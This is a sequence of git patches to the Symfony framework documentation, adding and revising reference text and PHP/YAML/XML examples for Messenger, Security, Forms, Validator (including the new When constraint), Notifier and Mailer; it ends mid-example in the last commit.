From c0723d4755a6d75b3a5f77886424d6760e9bcba7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Oct 2022 16:19:01 +0200
Subject: [PATCH 3809/7107] Add the versionadded directive

---
 messenger/multiple_buses.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 3bab5a69221..1db16409d0b 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -108,6 +108,10 @@ an **event bus**. The event bus could have zero or more subscribers.
             $eventBus->middleware()->id('validation');
         };
 
+.. versionadded:: 6.2
+
+    The ``allow_no_senders`` option was introduced in Symfony 6.2.
+
 This will create three new services:
 
 * ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`

From c9f83a48d8db21237af543f68f8b06f648d92226 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Oct 2022 17:00:25 +0200
Subject: [PATCH 3810/7107] [DependencyInjecion] Mention that service
 definitions replace previous ones

---
 service_container.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index d12f8604bfd..1b648050e7c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -178,6 +178,9 @@ each time you ask for it.
                         - '../src/Entity/'
                         - '../src/Kernel.php'
 
+                # order is important in this file because service definitions
+                # always *replace* previous ones; add your own service configuration below
+
                 # ...
 
         .. code-block:: xml
@@ -197,6 +200,9 @@ each time you ask for it.
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
                     <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
 
+                    <!-- order is important in this file because service definitions
+                         always *replace* previous ones; add your own service configuration below -->
+
                     <!-- ... -->
 
                 </services>
@@ -219,6 +225,9 @@ each time you ask for it.
                 // this creates a service per class whose id is the fully-qualified class name
                 $services->load('App\\', '../src/')
                     ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
+
+                // order is important in this file because service definitions
+                // always *replace* previous ones; add your own service configuration below
             };
 
     .. tip::

From c69ec43a0afcaa7f451242edd147febd1419be0f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Oct 2022 17:21:38 +0200
Subject: [PATCH 3811/7107] Tweaks

---
 components/serializer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3664fb0e72a..0928866f5e9 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1080,8 +1080,9 @@ always as a collection.
     behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
 
     Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` key of the ``$defaultContext``  of the
-    ``XmlEncoder`` class constructor or directly to the encode() method's $context argument.
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
     
         $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 

From f1467e7faef3ed965c0e0167b1d2a6818961fe98 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 22 Oct 2022 00:49:02 +0200
Subject: [PATCH 3812/7107] Fix the Security\Helper namespace

---
 form/dynamic_form_modification.rst |  4 ++--
 security.rst                       | 28 ++++++++++++++--------------
 security/impersonating_user.rst    |  4 ++--
 security/voters.rst                |  2 +-
 session/proxy_examples.rst         |  2 +-
 5 files changed, 20 insertions(+), 20 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index bf37ae429ef..7f51249b731 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -233,7 +233,7 @@ The problem is now to get the current user and create a choice field that
 contains only this user's friends. This can be done by injecting the ``Security``
 service into the form type so you can get the current user object::
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     // ...
 
     class FriendMessageFormType extends AbstractType
@@ -260,7 +260,7 @@ security helper to fill in the listener logic::
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Form\Extension\Core\Type\TextareaType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     // ...
diff --git a/security.rst b/security.rst
index 8bf921f419a..63b74c14508 100644
--- a/security.rst
+++ b/security.rst
@@ -598,12 +598,12 @@ Fetching the Firewall Configuration for a Request
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to get the configuration of the firewall that matched a given request,
-use the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
+use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
 
     // src/Service/ExampleService.php
     // ...
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\HttpFoundation\RequestStack;
 
     class ExampleService
@@ -1609,23 +1609,23 @@ Login Programmatically
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
     ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::login`
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::login`
     method was introduced in Symfony 6.2.
 
 You can log in a user programmatically using the `login()` method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
     namespace App\Controller\SecurityController;
 
     use App\Security\Authenticator\ExampleAuthenticator;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class SecurityController
     {
@@ -1779,22 +1779,22 @@ Logout programmatically
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
     ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::logout`
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::logout`
     method was introduced in Symfony 6.2.
 
 You can logout user programmatically using the ``logout()`` method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
     namespace App\Controller\SecurityController;
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class SecurityController
     {
@@ -1896,12 +1896,12 @@ Fetching the User from a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to get the logged in user from a service, use the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
 
     // src/Service/ExampleService.php
     // ...
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class ExampleService
     {
@@ -1925,7 +1925,7 @@ If you need to get the logged in user from a service, use the
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` class
+    The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
     was introduced in Symfony 6.2. In previous Symfony versions this class was
     defined in ``Symfony\Component\Security\Core\Security``.
 
@@ -2333,7 +2333,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
       // ...
       use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Bundle\SecurityBundle\Security\Security;
+    + use Symfony\Bundle\SecurityBundle\Security;
 
       class SalesReportManager
       {
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index b51a96d6fec..9926e1ef3b0 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -160,7 +160,7 @@ the impersonator user::
     // src/Service/SomeService.php
     namespace App\Service;
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken;
     // ...
 
@@ -367,7 +367,7 @@ logic you want::
     // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
     use Symfony\Component\Security\Core\User\UserInterface;
diff --git a/security/voters.rst b/security/voters.rst
index 320b44af37e..0755e17f39d 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -222,7 +222,7 @@ with ``ROLE_SUPER_ADMIN``::
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class PostVoter extends Voter
     {
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index a9114216ea8..7772c68fcf5 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -110,7 +110,7 @@ can intercept the session before it is written::
     namespace App\Session;
 
     use App\Entity\User;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
 
     class ReadOnlySessionProxy extends SessionHandlerProxy

From 0b60280af6b2c41f0103fa18bfcb5d3af52ee44a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 22 Oct 2022 13:24:59 +0200
Subject: [PATCH 3813/7107] [#17383] Small tweaks to code examples

---
 messenger/multiple_buses.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 1db16409d0b..d841ae7e5c3 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -34,13 +34,13 @@ an **event bus**. The event bus could have zero or more subscribers.
                         middleware:
                             - validation
                     event.bus:
-                        # the 'allow_no_handlers' middleware allows to have no handler
-                        # configured for this bus without throwing an exception
-                        # the 'allow_no_senders' middleware allows to have no sender
-                        # configured for this bus without throwing an exception
                         default_middleware:
                             enabled: true
+                            # set "allow_no_handlers" to true (default is false) to allow having
+                            # no handler configured for this bus without throwing an exception
                             allow_no_handlers: false
+                            # set "allow_no_senders" to false (default is true) to throw an exception
+                            # if no sender is configured for this bus
                             allow_no_senders: true
                         middleware:
                             - validation
@@ -67,12 +67,12 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
                     </framework:bus>
-                    <!-- the 'allow_no_handlers' middleware allows to have no handler
-                         configured for this bus without throwing an exception -->
-                    <!-- the 'allow_no_senders' middleware allows to have no sender
-                         configured for this bus without throwing an exception -->
                     <framework:bus name="event.bus">
-                        <framework:default-middleware enabled="true" allow_no_handlers="false" allow_no_senders="true"/>
+                        <!-- set "allow-no-handlers" to true (default is false) to allow having
+                              no handler configured for this bus without throwing an exception -->
+                        <!-- set "allow-no-senders" to false (default is true) to throw an exception
+                             if no sender is configured for this bus -->
+                        <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/>
                         <framework:middleware id="validation"/>
                     </framework:bus>
                 </framework:messenger>
@@ -96,13 +96,13 @@ an **event bus**. The event bus could have zero or more subscribers.
             $queryBus->middleware()->id('validation');
 
             $eventBus = $framework->messenger()->bus('event.bus');
-            // the 'allowNoHandlers' middleware allows to have no handler
-            // configured for this bus without throwing an exception
-            // the 'allowNoSenders' middleware allows to have no sender
-            // configured for this bus without throwing an exception
             $eventBus->defaultMiddleware()
                 ->enabled(true)
+                // set "allowNoHandlers" to true (default is false) to allow having
+                // no handler configured for this bus without throwing an exception
                 ->allowNoHandlers(false)
+                // set "allowNoSenders" to false (default is true) to throw an exception
+                // if no sender is configured for this bus
                 ->allowNoSenders(true)
             ;
             $eventBus->middleware()->id('validation');

From 228d73e5796025a36696c69fd7ec7f74708d7d41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20ALFAIATE?= <seb33300@hotmail.com>
Date: Wed, 29 Sep 2021 14:22:29 +0700
Subject: [PATCH 3814/7107] [Form] Document the `hash_property_path` option

---
 reference/forms/types/password.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index d512be22594..6d87ae57af7 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -35,6 +35,34 @@ with the ``value`` attribute set to its true value only upon submission.
 If you want to render your password field *with* the password value already
 entered into the box, set this to false and submit the form.
 
+``hash_property_path``
+~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+.. versionadded:: 6.2
+
+    The ``hash_property_path`` option was introduced in Symfony 6.2.
+
+If set, the password will be hashed using the
+:doc:`PasswordHasher component </security/passwords>` and stored in the
+specified property.
+
+Data passed to the form must be a
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
+object.
+
+.. caution::
+
+    To minimize the risk of leaking the plain password, this option can
+    only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
+    set to ``false``::
+
+        $builder->add('plainPassword', PasswordType::class, [
+            'hash_property_path' => 'password',
+            'mapped' => false,
+        ]);
+
 Overridden Options
 ------------------
 
@@ -81,6 +109,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
+.. _reference-form-password-mapped:
+
 .. include:: /reference/forms/types/options/mapped.rst.inc
 
 .. include:: /reference/forms/types/options/required.rst.inc

From 485d57e202517de19b15f4abcf265ded6e3b0dce Mon Sep 17 00:00:00 2001
From: Guillem Fondin <guillem.fondin@hotmail.fr>
Date: Mon, 17 Oct 2022 19:13:28 +0200
Subject: [PATCH 3815/7107] [Validator] Email -  new `allow-no-tld` mode

---
 reference/constraints/Email.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 85bbcb00be2..3dc98946638 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -109,19 +109,24 @@ This option defines the pattern used to validate the email address. Valid values
 * ``loose`` uses a simple regular expression (just checks that at least one ``@``
   character is present, etc.). This validation is too simple and it's recommended
   to use one of the other modes instead;
-* ``html5`` uses the same regular expression as the `HTML5 email input element`_,
-  making the backend validation consistent with the one provided by browsers;
+* ``html5`` uses the regular expression of the `HTML5 email input element`_,
+  except it enforces a tld to be present.
+* ``html5-allow-no-tld`` uses exactly the same regular expression as the `HTML5 email input element`_,
+  making the backend validation consistent with the one provided by browsers.
 * ``strict`` validates the address according to `RFC 5322`_ using the
   `egulias/email-validator`_ library (which is already installed when using
   :doc:`Symfony Mailer </mailer>`; otherwise, you must install it separately).
 
+.. versionadded:: 6.2
+
+   The ``html5-allow-no-tld`` mode was introduced in 6.2.
+
 .. tip::
 
     The possible values of this option are also defined as PHP constants of
     :class:`Symfony\\Component\\Validator\\Constraints\\Email`
     (e.g. ``Email::VALIDATION_MODE_STRICT``).
 
-
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.

From d627e1c92913f5174357f81665f4decfb7d6703b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 13 Oct 2022 23:35:34 +0200
Subject: [PATCH 3816/7107] [Notifier] Add from in SmsMessage and support it in
 bridge transports

---
 notifier/texters.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/notifier/texters.rst b/notifier/texters.rst
index 6e1590ef90c..0ba164a3789 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -23,7 +23,9 @@ you to send SMS messages::
                 // the phone number to send the SMS message to
                 '+1411111111',
                 // the message
-                'A new login was detected!'
+                'A new login was detected!',
+                // optionally, you can override default "from" defined in transports
+                '+1422222222',
             );
 
             $sentMessage = $texter->send($sms);
@@ -32,6 +34,10 @@ you to send SMS messages::
         }
     }
 
+.. versionadded:: 6.2
+
+    The 3rd argument of ``SmsMessage`` (``$from``) was introduced in Symfony 6.2.
+
 The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.

From 620a9417a054ce77949112360858ab71c839f59d Mon Sep 17 00:00:00 2001
From: Christopher Hertel <mail@christopher-hertel.de>
Date: Sun, 23 Oct 2022 13:38:58 +0200
Subject: [PATCH 3817/7107] add section for editing telegram messages

---
 notifier/chatters.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 972f89885fe..c8e5c103672 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -306,6 +306,32 @@ to add `message options`_::
 
     $chatter->send($chatMessage);
 
+Updating Telegram Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with interactive callback buttons, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to reference
+a previous message to edit::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Are you really sure?');
+    $telegramOptions = (new TelegramOptions())
+        ->chatId($chatId)
+        ->edit($messageId) // extracted from callback payload or SentMessage
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Absolutely'))->callbackData('yes'),
+            ])
+        );
+
+.. versionadded:: 6.2
+
+    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
+
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 

From a2a82fc6a09a80ac8ba59914b6b21fd092a5c2c5 Mon Sep 17 00:00:00 2001
From: wuchen90 <chen90@hotmail.fr>
Date: Mon, 16 Aug 2021 18:32:46 +0200
Subject: [PATCH 3818/7107] [Validator] Add the Conditional constraint and
 validator docs

---
 reference/constraints.rst      |   1 +
 reference/constraints/When.rst | 288 +++++++++++++++++++++++++++++++++
 2 files changed, 289 insertions(+)
 create mode 100644 reference/constraints/When.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index f3851bdb97a..9b83eda23ca 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -72,6 +72,7 @@ Validation Constraints Reference
    constraints/Compound
    constraints/Callback
    constraints/Expression
+   constraints/When
    constraints/All
    constraints/UserPassword
    constraints/NotCompromisedPassword
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
new file mode 100644
index 00000000000..79f1cb8ffa2
--- /dev/null
+++ b/reference/constraints/When.rst
@@ -0,0 +1,288 @@
+When
+====
+
+.. versionadded:: 6.2
+
+    The ``When`` constraint was introduced in Symfony 6.2.
+
+This constraint allows you to apply constraints validation only if the
+provided expression returns true. See `Basic Usage`_ for an example.
+
+==========  ===================================================================
+Applies to  :ref:`class <validation-class-target>`
+            or :ref:`property/method <validation-property-target>`
+Options     - `expression`_
+            - `constraints`_
+            - `groups`_
+            - `payload`_
+            - `values`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\When`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\WhenValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+Imagine you have a class ``Discount`` with ``type`` and ``value``
+properties::
+
+    // src/Model/Discount.php
+    namespace App\Model;
+
+    class Discount
+    {
+        private ?string $type;
+
+        private ?int $value;
+
+        // ...
+
+        public function getType(): ?string
+        {
+            return $this->type;
+        }
+
+        public function getValue(): ?int
+        {
+            return $this->value;
+        }
+    }
+
+To validate the object, you have some requirements:
+
+A) If ``type`` is ``percent``, then ``value`` must be less than or equal 100;
+B) If ``type`` is ``absolute``, then ``value`` can be anything;
+C) No matter the value of ``type``, the ``value`` must be greater than 0.
+
+One way to accomplish this is with the When constraint:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Discount
+        {
+            #[Assert\GreaterThan(0)]
+            #[Assert\When(
+                expression: 'this.type == "percent"',
+                constraints: [
+                    new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!')
+                ],
+            )]
+            private ?int $value;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Model\Discount:
+            properties:
+                value:
+                    - GreaterThan: 0
+                    - When:
+                        expression: "this.type == 'percent'"
+                        constraints:
+                            - LessThanOrEqual:
+                                value: 100
+                                message: "The value should be between 1 and 100!"
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+            <class name="App\Model\Discount">
+                <property name="value">
+                    <constraint name="GreaterThan">0</constraint>
+                    <constraint name="When">
+                        <option name="expression">
+                            this.type == 'percent'
+                        </option>
+                        <option name="constraints">
+                            <constraint name="LessThanOrEqual">
+                                <option name="value">100</option>
+                                <option name="message">The value should be between 1 and 100!</option>
+                            </constraint>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Discount
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
+                $metadata->addPropertyConstraint('value', new Assert\When([
+                    'expression' => 'this.type == "percent"',
+                    'constraints' => [
+                        new Assert\LessThanOrEqual([
+                            'value' => 100,
+                            'message' => 'The value should be between 1 and 100!',
+                        ]),
+                    ],
+                ]));
+            }
+
+            // ...
+        }
+
+The `expression`_ option is the expression that must return true in order
+to trigger the validation of the attached constraints. To learn more about
+the expression language syntax, see :doc:`/components/expression_language/syntax`.
+
+For more information about the expression and what variables are available
+to you, see the `expression`_ option details below.
+
+Options
+-------
+
+``expression``
+~~~~~~~~~~~~~~
+
+**type**: ``string``
+
+The condition written with the expression language syntax that will be evaluated.
+If the expression evaluates to a falsey value (i.e. using ``==``, not ``===``),
+validation of constraints won't be triggered.
+
+To learn more about the expression language syntax, see
+:doc:`/components/expression_language/syntax`.
+
+Depending on how you use the constraint, you have access to 1 or 2 variables
+in your expression:
+
+``this``
+    The object being validated (e.g. an instance of Discount).
+``value``
+    The value of the property being validated (only available when
+    the constraint is applied to a property).
+
+The ``value`` variable can be used when you want to execute more complex
+validation based on its value:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Context\ExecutionContextInterface;
+
+        class Discount
+        {
+            #[Assert\When(
+                expression: 'value == "percent"',
+                constraints: [new Assert\Callback('doComplexValidation')],
+            )]
+            private ?string $type;
+            // ...
+
+            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Model\Discount:
+            properties:
+                type:
+                    - When:
+                        expression: "value == 'percent'"
+                        constraints:
+                            - Callback: doComplexValidation
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+            <class name="App\Model\Discount">
+                <property name="type">
+                    <constraint name="When">
+                        <option name="expression">
+                            value == 'percent'
+                        </option>
+                        <option name="constraints">
+                            <constraint name="Callback">
+                                <option name="callback">doComplexValidation</option>
+                            </constraint>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Discount
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('type', new Assert\When([
+                    'expression' => 'value == "percent"',
+                    'constraints' => [
+                        new Assert\Callback('doComplexValidation'),
+                    ],
+                ]));
+            }
+
+            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
+You can also pass custom variables using the `values`_ option.
+
+``constraints``
+~~~~~~~~~~~~~~~
+
+**type**: ``array``
+
+The constraints that are applied if the expression returns true.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``values``
+~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+The values of the custom variables used in the expression. Values can be of any
+type (numeric, boolean, strings, null, etc.)

From 32b47932424ac3b8294a4d16502199c3aa002e6e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 23 Oct 2022 16:17:41 +0200
Subject: [PATCH 3819/7107] [#17392] Move versionadded to the start of the
 section

---
 notifier/chatters.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index c8e5c103672..37d8631c067 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -309,6 +309,10 @@ to add `message options`_::
 Updating Telegram Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.2
+
+    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
+
 When working with interactive callback buttons, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to reference
 a previous message to edit::
@@ -328,10 +332,6 @@ a previous message to edit::
             ])
         );
 
-.. versionadded:: 6.2
-
-    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
-
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 

From 7dbe95061e084d72311921ca2a1869aaa1ab451e Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 23 Oct 2022 12:23:00 +0200
Subject: [PATCH 3820/7107] Add docs about Mailer stamps

---
 mailer.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 44 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8c94cc75d1a..c15f2833083 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1429,8 +1429,8 @@ MessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent`
 
-``MessageEvent`` allows to change the Message and the Envelope before the email
-is sent::
+``MessageEvent`` allows to change the Mailer message and the envelope before
+the email is sent::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\MessageEvent;
@@ -1459,6 +1459,48 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
+QueuingMessageEvent
+~~~~~~~~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\QueuingMessageEvent`
+
+.. versionadded:: 6.2
+
+    The ``QueuingMessageEvent`` class was introduced in Symfony 6.2.
+
+``QueuingMessageEvent`` allows to add some logic before the email is sent to
+the Messenger bus (this event is not dispatched when no bus is configured); it
+extends ``MessageEvent`` to allow adding Messenger stamps to the Messenger
+message sent to the bus::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\QueuingMessageEvent;
